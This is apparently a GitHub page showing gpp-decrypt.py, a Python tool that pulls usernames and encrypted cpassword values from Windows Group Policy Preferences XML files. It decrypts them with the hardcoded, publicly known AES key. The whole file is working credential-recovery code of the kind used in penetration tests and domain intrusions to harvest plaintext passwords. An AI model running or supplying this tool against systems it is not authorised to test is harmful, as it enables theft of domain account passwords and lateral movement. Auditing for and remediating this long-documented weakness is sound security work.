-
Notifications
You must be signed in to change notification settings - Fork 12
/
gpp-decrypt.py
executable file
·69 lines (56 loc) · 2.54 KB
/
gpp-decrypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3
import argparse
import base64
import os
from xml.etree import ElementTree
from Crypto.Cipher import AES
from colorama import Fore, Style
banner = '''
__ __
___ _ ___ ___ ____ ___/ / ___ ____ ____ __ __ ___ / /_
/ _ `/ / _ \ / _ \/___// _ / / -_)/ __/ / __/ / // / / _ \/ __/
\_, / / .__/ / .__/ \_,_/ \__/ \__/ /_/ \_, / / .__/\__/
/___/ /_/ /_/ /___/ /_/
'''
success = Style.BRIGHT + '[ ' + Fore.GREEN + '*' + Fore.RESET + ' ] ' + Style.RESET_ALL
failure = Style.BRIGHT + '[ ' + Fore.RED + '-' + Fore.RESET + ' ] ' + Style.RESET_ALL
def decrypt(cpass):
padding = '=' * (4 - len(cpass) % 4)
epass = cpass + padding
decoded = base64.b64decode(epass)
key = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8' \
b'\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
iv = b'\x00' * 16
aes = AES.new(key, AES.MODE_CBC, iv)
return aes.decrypt(decoded).decode(encoding='ascii').strip()
def main():
usage = 'python3 gpp-decrypt.py -f [groups.xml]'
description = 'Command-line program for decrypting Group Policy Preferences. Version 1.0'
parser = argparse.ArgumentParser(usage=usage, description=description)
parser.add_argument('-v', '--version', action='version', version='%(prog)s 1.0')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-f', '--file', action='store', dest='file', help='specifies the groups.xml file')
group.add_argument('-c', '--cpassword', action='store', dest='cpassword', help='specifies the cpassword')
options = parser.parse_args()
if options.file is not None:
if not os.path.isfile(options.file):
print(failure + 'Sorry, file not found!')
exit(1)
with open(options.file, 'r') as f:
tree = ElementTree.parse(f)
user = tree.find('User')
if user is not None:
print(success + 'Username: ' + user.attrib.get('name'))
else:
print(failure + 'Username not found!')
properties = user.find('Properties')
cpass = properties.attrib.get('cpassword')
if cpass is not None:
print(success + 'Password: ' + decrypt(cpass))
else:
print(failure + 'Password not found!')
elif options.cpassword is not None:
print(success + 'Password: ' + decrypt(options.cpassword))
if __name__ == "__main__":
print(banner)
main()